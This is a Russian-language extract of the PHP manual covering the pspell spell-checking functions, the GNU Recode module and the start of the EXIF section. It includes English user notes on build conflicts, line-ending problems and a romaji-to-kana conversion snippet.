Параметр config - это параметр возвращённый функцией pspell_config_create() после того, как конфигурация была создана.

Возвращаемые значения

Возвращает экземпляр PSpell\Dictionary в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр config теперь ожидает экземпляр PSpell\Config; ранее ожидался ресурс (resource).
8.1.0 | Возвращает экземпляр PSpell\Dictionary; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_new_config()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell = pspell_new_config($pspell_config);
?>

User Contributed Notes

soapergem at gmail dot com 19-Aug-2008 08:34
Today I ran into an interesting problem that I thought I'd share here to save the next developer that ends up in the same situation a whole lot of trouble. I have been running PHP5 as a FastCGI module on a Windows IIS server, and I recently installed the Aspell library and enabled the pspell extension in my php.ini file. I also installed the English Aspell dictionary. But when I went to use pspell, I was getting ambiguous errors that would terminate script execution without warning.

So I started to break things down, and came to the conclusion that the following code successfully executed its first line, but broke on the last line with the call to pspell_new_config:

<?php

$pspell_config = pspell_config_create('en');
$pspell_link = pspell_new_config($pspell_config);

?>

This returned a FastCGI error in the browser, with error number -2147467259 (0x80004005). By luck, I happened to think to try the same script via the command line, which gave a much more descriptive error. What happened was that the dictionary installer created the *.dat files in the Aspell\data directory using the Windows standard CRLF "\r\n" instead of the UNIX standard "\n" for line feeds. By changing these all back to the UNIX standard, everything worked. It's apparently very touchy about these line feeds, so if you're wracking your brain over why pspell_new_config is breaking your scripts and you're using a Windows server, start by ensuring that there aren't any extraneous "\r" characters in your dictionary files.


Загружает новый словарь с персональным списком слов

  • « pspell_new_config
  • pspell_new »
  • PHP Manual
  • Функции Pspell
  • Загружает новый словарь с персональным списком слов

pspell_new_personal

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_new_personal — Загружает новый словарь с персональным списком слов

Описание

pspell_new_personal(
string $filename,
string $language,
string $spelling = "",
string $jargon = "",
string $encoding = "",
int $mode = 0
): PSpell\Dictionary|false

pspell_new_personal() открывает новый словарь с персональным списком слов. Список слов может быть модифицирован и сохранён функцией pspell_save_wordlist(), если потребуется. Однако замещающие пары не сохраняются. Для сохранения замещающих пар вы должны создать конфигурацию, используя pspell_config_create(), установить файл персонального списка слов функцией pspell_config_personal(), установить файл для замещающих пар функцией pspell_config_repl(), и открыть новый словарь с помощью pspell_new_config().

Более подробную информацию и примеры можно найти в руководстве по pspell на сайте:» http://aspell.net/.

Список параметров

filename

Файл, в который будут сохранены слова, добавленные в персональный список. Это должен быть абсолютный путь к файлу, начинающийся с '/', так как иначе он будет относительным к $HOME, которым является "/root" для большинства систем, что, вероятно, не то, что вам нужно.

language

Код языка, который состоит из двухбуквенного кода языка по стандарту ISO 639 и необязательного двубуквенного кода страны по стандарту ISO 3166 после тире или подчёркивания.

spelling

Определяет вариант проверки орфографии для языков с более чем одним вариантом правописания, таких как английский. Известные значения: 'american', 'british', и 'canadian'.

jargon

Дополнительная информацию для различения двух различных списков слов, имеющих одинаковые параметры language и spelling.

encoding

Кодировка, в которой, как ожидается, даны слова. Допустимые значения: utf-8, iso8859-*, koi8-r, viscii, cp1252, machine unsigned 16, machine unsigned 32.

mode

Режим, в котором будет работать проверка орфографии. Доступно несколько режимов:

  • PSPELL_FAST - Быстрый режим (наименьшее число вариантов исправления)
  • PSPELL_NORMAL - Нормальный режим (больше вариантов исправления)
  • PSPELL_BAD_SPELLERS - Медленный режим (много вариантов исправления)
  • PSPELL_RUN_TOGETHER - рассматривает объединённые слова как правильные сложные слова. То есть, "thecat" будет считаться правильным сложным словом, хотя между артиклем и словом должен быть пробел. Изменение этой установки влияет только на результаты, возвращаемые функцией pspell_check(); pspell_suggest() будет продолжать выдавать варианты исправления.
Mode - это битовая маска, сконструированная из различных перечисленных выше констант. Однако, PSPELL_FAST, PSPELL_NORMAL и PSPELL_BAD_SPELLERS являются взаимоисключающими, так что вы должны выбрать только одну из них.

Возвращаемые значения

Возвращает экземпляр PSpell\Dictionary в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр PSpell\Dictionary; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_new_personal()

<?php
$pspell = pspell_new_personal ("/var/dictionaries/custom.pws",
"en", "", "", "", PSPELL_FAST|PSPELL_RUN_TOGETHER);
?>

User Contributed Notes

There are no user contributed notes for this page.


Загружает новый словарь

  • « pspell_new_personal
  • pspell_save_wordlist »
  • PHP Manual
  • Функции Pspell
  • Загружает новый словарь

pspell_new

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_new — Загружает новый словарь

Описание

pspell_new(
string $language,
string $spelling = "",
string $jargon = "",
string $encoding = "",
int $mode = 0
): PSpell\Dictionary|false

pspell_new() открывает новый словарь и возвращает экземпляр PSpell\Dictionary для использования в других функциях pspell.

Более подробную информацию и примеры можно найти в руководстве по pspell на сайте:» http://aspell.net/.

Список параметров

language

Параметр language - это код языка, который состоит из двухбуквенного кода языка по стандарту ISO 639 и необязательного двубуквенного кода страны по стандарту ISO 3166 после тире или подчёркивания.

spelling

Параметр spelling определяет вариант проверки орфографии для языков с более чем одним вариантом правописания, таких как английский. Известные значения: 'american', 'british', и 'canadian'.

jargon

Параметр jargon содержит дополнительную информацию для различения двух различных списков слов, имеющих одинаковые параметры language и spelling.

encoding

Параметр encoding это кодировка, в которой, как ожидается, даны слова. Допустимые значения: 'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32'. Этот параметр ещё не проверен достаточно хорошо, поэтому будьте осторожны при его использовании.

mode

Параметр mode - это режим, в котором будет работать проверка орфографии. Доступно несколько режимов:

  • PSPELL_FAST - Быстрый режим (наименьшее число вариантов исправления)
  • PSPELL_NORMAL - Нормальный режим (больше вариантов исправления)
  • PSPELL_BAD_SPELLERS - Медленный режим (много вариантов исправления)
  • PSPELL_RUN_TOGETHER - рассматривает объединённые слова как правильные сложные слова. То есть, "thecat" будет считаться правильным сложным словом, хотя между артиклем и словом должен быть пробел. Изменение этой установки влияет только на результаты, возвращаемые функцией pspell_check(); pspell_suggest() будет продолжать выдавать варианты исправления.
Mode - это битовая маска, сконструированная из различных перечисленных выше констант. Однако, PSPELL_FAST, PSPELL_NORMAL и PSPELL_BAD_SPELLERS являются взаимоисключающими, так что вы должны выбрать только одну из них.

Возвращаемые значения

Возвращает экземпляр PSpell\Dictionary в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр PSpell\Dictionary; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_new()

<?php
$pspell = pspell_new("en", "", "", "",
(PSPELL_FAST|PSPELL_RUN_TOGETHER));
?>

User Contributed Notes

wookie 29-Sep-2008 11:52
Just as a small tip, I noticed that when you call pspell_new multiple times, php does not free memory usage when the resource is destroyed, but only when your entire script has completely finished. So if you create a pspell_link resource and you intend to use it again somewhere else, instead of calling pspell_new again, keep track of your original pspell_link resource instantiation, and use it again, your script will run much more efficiently.

I was switching between 16 dictionaries by just calling a new pspell_new everytime, my memory usage on the server grew until i hit a failure/php core dump. :-/ So i stored each pspell resource in an array keyed by language, and checked if the resource existed first, before creating one if needed.

I hope that helps someone.
allan at wagawaga dot dk 21-Aug-2008 05:00
I think the language and spelling parameters differs on different PHP versions and/or aspell/UNIX distributions.

My PHP 5.2.6 Debian ignores the spelling parameter.

Instead:

For Americans use en_US as language.
For British use en_GB (not en_UK)
For Canadian use en_CA


Сохраняет персональный список слов в файле

  • « pspell_new
  • pspell_store_replacement »
  • PHP Manual
  • Функции Pspell
  • Сохраняет персональный список слов в файле

pspell_save_wordlist

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_save_wordlist — Сохраняет персональный список слов в файле

Описание

pspell_save_wordlist(PSpell\Dictionary $dictionary): bool

pspell_save_wordlist() сохраняет персональный список слов текущей сессии. Расположение файлов для сохранения указывается с помощью pspell_config_personal() и (необязательно) pspell_config_repl().

Список параметров

dictionary

Экземпляр PSpell\Dictionary.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр dictionary теперь ожидает экземпляр PSpell\Dictionary; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/tmp/dicts/newdict");
$pspell = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell, "Vlad");
pspell_save_wordlist($pspell);
?>

Примечания

Замечание:

Функция не будет работать, если у вас нет pspell .11.2 и aspell .32.5 или выше.

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет замещающую пару для слова

  • « pspell_save_wordlist
  • pspell_suggest »
  • PHP Manual
  • Функции Pspell
  • Сохраняет замещающую пару для слова

pspell_store_replacement

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_store_replacement — Сохраняет замещающую пару для слова

Описание

pspell_store_replacement(PSpell\Dictionary $dictionary, string $misspelled, string $correct): bool

pspell_store_replacement() сохраняет замещающую пару для слова, так что замена позднее может быть возвращена функцией pspell_suggest(). Чтобы использовать преимущества этой функции, следует открыть словарь с помощью pspell_new_personal(). Чтобы навсегда сохранить замещающую пару, необходимо использовать pspell_config_personal() и pspell_config_repl() для того, чтобы указать путь, куда сохранить пользовательские списки слов, а затем воспользоваться pspell_save_wordlist() для записи изменений на диск.

Список параметров

dictionary

Экземпляр PSpell\Dictionary.

misspelled

Слово с ошибкой.

correct

Исправленное написание для слова с ошибкой (misspelled).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр dictionary теперь ожидает экземпляр PSpell\Dictionary; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_store_replacement()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell = pspell_new_config($pspell_config);

pspell_store_replacement($pspell, $misspelled, $correct);
pspell_save_wordlist($pspell);
?>

Примечания

Замечание:

Функция не будет работать, если у вас нет pspell .11.2 и aspell .32.5 или выше.

User Contributed Notes

There are no user contributed notes for this page.


Предлагает варианты исправления слова

  • « pspell_store_replacement
  • PSpell\Dictionary »
  • PHP Manual
  • Функции Pspell
  • Предлагает варианты исправления слова

pspell_suggest

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_suggest — Предлагает варианты исправления слова

Описание

pspell_suggest(PSpell\Dictionary $dictionary, string $word): array|false

pspell_suggest() возвращает массив возможных вариантов исправления заданного слова.

Список параметров

dictionary

Экземпляр PSpell\Dictionary.

word

Проверяемое слово.

Возвращаемые значения

Возвращает массив возможных вариантов исправления.

Список изменений

Версия | Описание
8.1.0 | Параметр dictionary теперь ожидает экземпляр PSpell\Dictionary; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_suggest()

<?php
$pspell = pspell_new("en");

if (!pspell_check($pspell, "testt")) {
$suggestions = pspell_suggest($pspell, "testt");

foreach ($suggestions as $suggestion) {
echo "Возможный вариант исправления: $suggestion<br />";
}
}
?>

User Contributed Notes

webmaster at hostpure dot com 12-Apr-2004 05:42
It seems if you are trying to do something similar to the Google 'Did you mean:' suggestions and are selecting the first word given by the pspell_suggest() function, then it will not work well with custom dictionaries and replacements. Take the following code for example:

<?php
    $pspell_config = pspell_config_create("en");
    pspell_config_personal($pspell_config, "/home/user/public_html/custom.pws");
    pspell_config_repl($pspell_config, "/home/user/public_html/custom.repl");
    $pspell_link = pspell_new_config($pspell_config);

    $words = preg_split ("/\s+/", $query);
    $ii = count($words);

    global $spellchecked;
    $spellchecked = "";

    for($i=0;$i<$ii;$i++){

        if (pspell_check($pspell_link, $words[$i]))
        {
            $spellchecked .= $words[$i]." ";
        }
        else
        {
            $erroneous = "yes";
            $suggestions = pspell_suggest($pspell_link, $words[$i]);
            $spellchecked .= $suggestions[0]." ";
        }
    }
    if($erroneous == "yes")
    {
        echo "Did you mean: <i>".$spellchecked."?";
    }
    else
    {
        echo $spellchecked . " is a valid word/phrase";
    }
?>

This works fine most of the time, and gives suggestions to what you meant when inserting a spelling mistake with most inputs. However, if you specify a custom replacement and then search for the misspelt word that you specified, then if it is not the first returned suggestion it wont be used in the 'Did you mean' end result. What you need to do is open up the custom dictionary using fopen and fread, and then for each of the suggested words, check if they are in the dictionary. If the suggested word is in the custom dictionary then use it in the 'Did you mean' part, if not, discard it and try the next. Hope this helps anyone who comes across this problem with trying to get more accurate suggestions.


Класс PSpell\Dictionary

(PHP 8 >= 8.1.0)

Введение

Полностью непрозрачный класс, заменяющий ресурс pspell в PHP 8.1.0.

Обзор классов

final class PSpell\Dictionary {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс PSpell\Config

(PHP 8 >= 8.1.0)

Введение

Полностью непрозрачный класс, заменяющий ресурс pspell config в PHP 8.1.0.

Обзор классов

final class PSpell\Config {
}

User Contributed Notes

There are no user contributed notes for this page.


GNU Recode

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции Recode
    • recode_file — Перекодирует из одного файла в другой в соответствии с заданными параметрами
    • recode_string — Перекодирует строку в соответствии с заданными параметрами
    • recode — Псевдоним recode_string

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль предоставляет интерфейс для библиотеки GNU Recode. Данная библиотека конвертирует файлы из одной кодировки в другую. Если конвертация не может быть произведена абсолютно точно, ошибочные символы могут быть пропущены или заменены наиболее подходящими. Библиотека распознает и может оперировать порядка 150 кодировками. Поддерживается большинство кодировок из » RFC 1345.

Замечание: Модуль отделен и перемещён в » PECL, начиная с PHP 7.4.0. Вместо этого попробуйте использовать модули Многобайтовые строки или iconv.

Замечание: Для Windows-платформ этот модуль недоступен.

User Contributed Notes

There are no user contributed notes for this page.


Требования

У вас должен быть установлен GNU Recode 3.5 или выше. Данный пакет вы можете загрузить с сайта » http://directory.fsf.org/All_GNU_Packages/recode.html.

Внимание

Библиотека Recode версии 3.6 добавляет длинные символы в конце сконвертированных строк при определённых обстоятельствах. Собственно из-за этого более безопасно использовать Recode v3.5, либо одну из альтернатив, таких как модули iconv или mbstring.

User Contributed Notes

There are no user contributed notes for this page.


Установка

PHP 7.4

Этот модуль был перемещен в репозиторий » PECL и больше не поставляется с PHP 7.4.0

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/recode.

PHP < 7.4

Для использования модуля необходимо скомпилировать PHP с опцией --with-recode[=DIR].

Внимание

При загрузке модуля может произойти аварийное завершение PHP во время запуска, если recode загружается после mysql или imap. Загрузка модуля перед ними решает проблему. Это происходит из-за того, что и recode и imap используют C-библиотеки со своими собственными функциями hash_lookup(), а в случае mysql и recode, функцию hash_insert.

Внимание

Модуль IMAP не может использоваться вместе с модулями перекодировки и YAZ. Это связано с тем фактом, что они оба используют одни и те же внутренние символы. Замечание: Версии Yaz 2.0 и выше избавлены от этого недостатка.

User Contributed Notes

felix at ozyx dot net 09-Feb-2012 11:55
The warnings on this page are really important.

If you ever end up with a Segmentation Fault (core dump 11), and have something similar to this in your stack trace:

Reading symbols from /libexec/ld-elf.so.1...done.
Loaded symbols for /libexec/ld-elf.so.1
#0  0x0000000805936da2 in hash_lookup (hashtab=0x8099ad600, key=0x7fffffffe590 "1:3\b\b") at misc.c:349
349     misc.c: No such file or directory.
        in misc.c
[New Thread 8016041c0 (LWP 100388)]

#0  0x0000000805936da2 in hash_lookup (hashtab=0x8099ad600, key=0x7fffffffe590 "1:3\b\b") at misc.c:349
        ret = Variable "ret" is not available.


Функции Recode

Содержание

  • recode_file — Перекодирует из одного файла в другой в соответствии с заданными параметрами
  • recode_string — Перекодирует строку в соответствии с заданными параметрами
  • recode — Псевдоним recode_string

User Contributed Notes

henrique at augusto dot com 28-Mar-2014 11:08
I have problems with php5-recode and php5-odbc. With both packages installed, odbc_execute() hangs up causing Segmentation Fault. I was using a simple script to test that:

<?php
#DSN "mydb" with a user and password "marin"
$connect = odbc_connect("myaccess", "", "");

# query the users table for name and surname
$query = "SELECT * FROM FRT_NAME";

# perform the query
$result = odbc_exec($connect, $query);

# fetch the data from the database
while(odbc_fetch_row($result)){
        $name = odbc_result($result, 2);
        print("$name\n");
}

# close the connection
 odbc_close($connect);
?>

After uninstalling php5-recode, the issue is solved.
theather at I dot am 07-Aug-2005 06:55
I see that the Recode (3.6) module is also incompatible with the MySQL module as well as the others noted in the "warning" note above.
pet at humaj dot sk 30-Apr-2003 06:51
Hope this might help someone:

I tried to compile php 4.3.2-RC2 (+some older versions) with recode AND imap (and gd+png+jpeg support, ldap, gettext, zlib .. but these are not interesting right now).

Why? I needed to run Imp + Horde + Turba. Turba talks to LDAP directory (and LDAP uses utf-8 encoding which I need to convert to iso-8859-2), so I modified Turba to use 'recode' for charset conversions utf8<->iso8859-2.

System: FreeBSD4.7+Apache 1.3.27+Ben SSL

I either could not properly compile OR after compiling apache coredumped.

Problem was: imap (libc-client) and recode (librecode) use the same function hash_lookup(). Therefore during loading libphp.so (and libraries it depended on) whole apache crashed. Without a word of what's going on.

The problem is detectable by forcing static linking (in FreeBSD modify librecode.la and change
library_names='librecode.so.0 librecode.so librecode.so'
to
library_names='librecode.a'

Now during linking of php the linker complains of double definition of hash_lookup.

Solution:

-grab recode3.6 from ftp://ftp.gnu.org/pub/gnu/recode/
-unpack, go to src, in files combine.c, hash.c, names.c, recode.c, testdump.c, html.c, hash.h replace hash_lookup() by hash_lookupX() [or invent some better name],
compile recode (i had to do:

setenv CFLAGS "-I/usr/local/include"
setenv LDFLAGS "-L/usr/local/lib -lintl"
./configure --prefix=/usr/local/recode --exec-prefix=/usr/local/recode --without-included-gettext
make
make check
make install

(recode is installed to /usr/local/recode.You can change this and you can force static linking of recode, so that after building libphp.so this modified recode is no longer needed and can be deleted! )

For some reason this recode needs to have externally defined
int error;
therefore we have to modify configure script +one .c php source file:

1. modify configure script of php: find
recode_format_table();
and somewhere before start of main() add
int error;

so the result is:

char *program_name;
int error;
int main() {
recode_format_table();
; return 0; }

(I modified both occurences of recode_format_table() in configure of php4.3.2rc2)

2. run configure, should work ok (my another problem was with imap: though my c-client was compiled WITHOUT ssl, configure complained that it IS using ssl, so i had to edit configure once again and comment following lines:
void mm_searched(void){}
void mm_expunged(void){}
// char ssl_onceonlyinit();  --- commented
int main() {
// ssl_onceonlyinit(); --- commented
return 0;
}

Now configure was rather happy :-)

for the record: I did
./configure --with-apxs=/usr/local/apache/bin/apxs --with-imap --enable-sysvsem --enable-sysvshm --with-sybase=/usr/local/freetds --with-gettext --with-ldap --with-zlib --with-recode=/usr/local/recode -with-gd=/usr/local --with-jpeg-dir=/usr/local --with-png-dir=/usr/local

3. edit ext/recode/recode.c (or any other .c source file, add somewhere (e.g. at the end)
int error;

without it during linking 'error not defined' will be complained.

4. do 'make' and php is yours :-)

It took me 2 days.. so do not delete this note, someone might even find it useful and mail me his thanks :-]
cv at corbach dot de 03-Feb-2002 09:06
When compiling PHP into Apache as static module Apache configure will complain about an undefined symbol in librecode. You need recode-3.6 (e.g. on ftp://ftp.gnu.org/pub/gnu/recode/) to get rid of this error. It doesn't matter if you're compiling PHP as DSO.


Перекодирует из одного файла в другой в соответствии с заданными параметрами

  • « Функции Recode
  • recode_string »
  • PHP Manual
  • Функции Recode
  • Перекодирует из одного файла в другой в соответствии с заданными параметрами

recode_file

(PHP 4, PHP 5, PHP 7 < 7.4.0)

recode_file — Перекодирует из одного файла в другой в соответствии с заданными параметрами

Описание

recode_file(string $request, resource $input, resource $output): bool

Перекодирует файл, заданный дескриптором input в файл, заданный дескриптором output в соответствии с request.

Список параметров

request

Выбранный тип запроса на перекодировку

input

Локальный файловый ресурс (resource) input

output

Локальный файловый ресурс (resource) output

Возвращаемые значения

Возвращает false, если возникли какие-либо трудности или true в случае успешного выполнения.

Примеры

Пример #1 Пример использования recode_file()

<?php
$input = fopen('input.txt', 'r');
$output = fopen('output.txt', 'w');
recode_file("us..flat", $input, $output);
?>

Примечания

На данный момент эта функция не работает с дескрипторами, ссылающимися на удалённые файлы (URL). Оба файловых дескриптора должны указывать на локальные файлы.

Смотрите также

  • fopen() - Открывает файл или URL

User Contributed Notes

martin dot smeeckaert at gmail dot com 19-Sep-2013 04:07
The recode_file function will put the file position indicator at the end of each files, so if you want to re-use the handles use fseek beforehand.


Перекодирует строку в соответствии с заданными параметрами

  • « recode_file
  • recode »
  • PHP Manual
  • Функции Recode
  • Перекодирует строку в соответствии с заданными параметрами

recode_string

(PHP 4, PHP 5, PHP 7 < 7.4.0)

recode_string — Перекодирует строку в соответствии с заданными параметрами

Описание

recode_string(string $request, string $string): string

Перекодирует строку string в соответствии с request.

Список параметров

request

Выбранный тип запроса на перекодировку

string

Строка для перекодировки

Возвращаемые значения

Возвращает перекодированную строку (string) или false, если возникли какие-либо проблемы с перекодировкой.

Примеры

Пример #1 Пример использования recode_string()

<?php
echo recode_string("us..flat", "The following character has a diacritical mark: a");
?>

Примечания

Простой запрос на перекодировку может быть "lat1..iso646-de".

Смотрите также

  • Более подробно о запросах на перекодировку читайте в документации, которая входит в дистрибутив GNU Recode.
  • mb_convert_encoding() - Преобразует строку из одной кодировки символов в другую
  • UConverter::transcode() - Преобразует строку из одной кодировки символов в другую
  • iconv() - Преобразует строку из одной кодировки символов в другую

User Contributed Notes

mori at homoeopathy dot co dot jp 20-Jun-2014 06:54
function Romaji2Kana works pretty good but few exception: "JA" and "DZA" were not converted correctly as Japanese speekes expected. Following is a correction of that behavior.

     public function convert($s, $mode='hiragana')
     {
         $s = strtoupper(str_replace(
-                            Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dz', 'l', '-',
+                            Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dzi', 'ji', 'j', 'l', '-',
                                   'a', 'i', 'u', 'e', 'o', 'a', 'i', 'u', 'e', 'o'),
-                            Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'j',  'r', '^',
+                            Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'zi',  'zi', 'dz','r', '^',
                                   'a^', 'i^', 'u^', 'e^', 'o^', 'a^', 'i^', 'u^', 'e^', 'o^'),
                             $s));
+        // DZA -> ZIya
+        $s = preg_replace('/DZ([AUO])/e', '"ZI".strtolower("y\1")', $s);
+        // DZE -> ZIe
+        $s = preg_replace('/DZ([E])/e', '"ZI".strtolower("\1")', $s);
         // FO -> FUxo
         $s = preg_replace('@F([AIOE])@e', '"HU".strtolower("\1")', $s);
         // VO -> VUxo
msimonc at yahoo dot com 09-Oct-2008 03:33
Seems to require that librecode be installed.
Try iconv() instead.
bisqwit at iki dot fi 23-Nov-2005 10:41
Here's how to convert romaji to katakana/hiragana with PHP (transliterating Japanese text).
The function Romaji2Kana($s) will return with keys 'hira' and 'kata' that respectively contain the hiragana and katakana versions of the given string in UTF-8 encoding.

<?php
// eucjp: 2421; unicode: 3041
define('HIRATABLE', 'a A i I u U e E o O KAGAKIGIKUGUKEGEKOGOSAZASIZISUZUSEZESOZO'.
'TADATIDItuTUDUTEDETODONANINUNENOHABAPAHIBIPIHUBUPUHEBEPEHOBOPO'.
'MAMIMUMEMOyaYAyuYUyoYORARIRUREROwaWAWIWEWOn ');
// eucjp: 2521; unicode: 30A1
define('KATATABLE', 'a A i I u U e E o O KAGAKIGIKUGUKEGEKOGOSAZASIZISUZUSEZESOZO'.
'TADATIDItuTUDUTEDETODONANINUNENOHABAPAHIBIPIHUBUPUHEBEPEHOBOPO'.
'MAMIMUMEMOyaYAyuYUyoYORARIRUREROwaWAWIWEWOn VUkake');

function HiraTrans($s)
{
  #print "trans('$s')\n";
  $pos = strpos(HIRATABLE, $s);
  if($pos===false) return 0xA1BC; // ^
  return 0xA4A1 + $pos/2;
}
function KataTrans($s)
{
  $pos = strpos(KATATABLE, $s);
  if($pos===false) return 0xA1BC; // ^
  return 0xA5A1 + $pos/2;
}

function Romaji2Kana($s)
{
  $s = strtoupper(str_replace(
     Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dz', 'l', '-',
           'a', 'i', 'u', 'e', 'o', 'a', 'i', 'u', 'e', 'o'),
     Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'j',  'r', '^',
           'a^', 'i^', 'u^', 'e^', 'o^', 'a^', 'i^', 'u^', 'e^', 'o^'),
     $s));
  // FO -> FUxo
  $s = preg_replace('@F([AIOE])@e', '"HU".strtolower("\1")', $s);
  // VO -> VUxo
  $s = preg_replace('@V([AIUEO])@e', '"VU".strtolower("\1")', $s);
  // KYA -> KYya
  $s = preg_replace('@([KSTNHMRGZBPD])Y([AUO])@e',   '"\1Iy".strtolower("\2")', $s);
  // XTU -> tu (make them actually small)
  $s = preg_replace('@X(TU|Y[AUO]|[AIUEO]|KA|KE)@e', 'strtolower("\1")', $s);
  // KKO -> tuKO
  $s = preg_replace('@([KSTHMRYWGZBPDV]{2,})@e',
                      'str_pad("",2*strlen("\1")-2,"tu").substr("\1",0,1)', $s);
  // N -> n (but not NO -> nO)
  // At this point, N' will work correctly
  $s = preg_replace('@N(?![AIUEO])@', 'n', $s);
  // Unrecognized characters off
  $s = eregi_replace('[^^VAIUEOKSTNHMYRWGZBPD]', '', $s);

  $pat = '@([AIUEOnaiueo^]|..)@e';
  $rec = 'EUCJP..UTF8';

  return
    Array('hira' => recode_string($rec,preg_replace($pat, 'pack("n", HiraTrans("\1"))', $s)),
          'kata' => recode_string($rec,preg_replace($pat, 'pack("n", KataTrans("\1"))', $s)));
}

print_r( Romaji2Kana('konnichiha') );
?>

Note: Due to technical limitations in the manual pages, there are two errors in this code:
- Some characters in the first str_replace may appear wrong in some php.net mirrors. It supposed to contain aiueo with circumflex and aiueo with macron.
- The strings in the defines should be constant, not appendage expressions. (Line length limitation)

-Joel Yliluoma
jazfresh at spam-javelin.hotmail.com 27-Oct-2003 10:55
I came across a bug (and workaround) when using recode_string. When converting from utf-8 to iso-2022-jp, it would always return an empty string (although it would work fine for conversions from html to utf8). Converting with recode on the command line worked fine, which was odd. I noticed that if I specified "-v" on the command line, recode stated that it was using libiconv to do the conversion.

Using "iconv" instead of recode got the right results.
i.e.

Works:
$str = recode_string("html..utf-8", "&#26085;&#26412;&#35486;"); // Unicode for "Japanese"

Doesn't work:
$str = recode_string("utf-8..iso-2022-jp", $mystring);

Works:
$str = iconv("utf-8", "iso-2022-jp", $mystring);

Don't ask me why. Hope this saves someone some frustrating hours debugging.


Псевдоним recode_string

  • « recode_string
  • Обработка и генерация изображений »
  • PHP Manual
  • Функции Recode
  • Псевдоним recode_string

recode

(PHP 4, PHP 5, PHP 7 < 7.4.0)

recode — Псевдоним recode_string()

Описание

Функция является псевдонимом: recode_string().

User Contributed Notes

There are no user contributed notes for this page.


Обработка и генерация изображений

  • Exif — Изменяемая информация об изображении
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Exif Функции
  • GD — Обработка изображений и GD
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции GD и функции для работы с изображениями
    • GdImage — Класс GdImage
    • GdFont — Класс GdFont
  • Gmagick
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Gmagick — Класс Gmagick
    • GmagickDraw — Класс GmagickDraw
    • GmagickPixel — Класс GmagickPixel
  • ImageMagick — Обработка изображений (ImageMagick)
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Imagick — Класс Imagick
    • ImagickDraw — Класс ImagickDraw
    • ImagickPixel — Класс ImagickPixel
    • ImagickPixelIterator — Класс ImagickPixelIterator
    • ImagickKernel — Класс ImagickKernel

User Contributed Notes

There are no user contributed notes for this page.


Изменяемая информация об изображении

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Exif Функции
    • exif_imagetype — Determine the type of an image
    • exif_read_data — Читает заголовки EXIF из файлов изображений
    • exif_tagname — Получение имени заголовка по его индексу
    • exif_thumbnail — Получает встроенное превью изображения
    • read_exif_data — Псевдоним exif_read_data

User Contributed Notes

There are no user contributed notes for this page.


Введение

С помощью модуля EXIF вы можете работать с мета-данными изображений. Например, вы можете использовать EXIF функции для чтения метаданных из фотографий снятых на цифровые камеры. Эти функции работают с информацией, хранящейся в заголовках. Обычно их можно найти в изображениях JPEG и TIFF.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Ваш PHP должен быть скомпилирован с опцией --enable-exif. Для включения поддержки многобайтовых кодировок в тегах EXIF необходимо включить модуль mbstring. Включить его можно, скомпилировав PHP с опцией --enable-mbstring.

Только для Windows: модуль mbstring всегда должен быть включён. Обратите внимание, что модуль mbstring должен загружаться раньше, чем EXIF (очерёдность в php.ini).

User Contributed Notes

There are no user contributed notes for this page.


Установка

Чтобы включить поддержку exif, сконфигурируйте PHP с опцией --enable-exif

Пользователи Windows должны включить DLL-файлы php_mbstring.dll и php_exif.dll в php.ini. DLL php_mbstring.dll должна быть загружена до DLL php_exif.dll, так что настройте ваш php.ini соответствующим образом.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

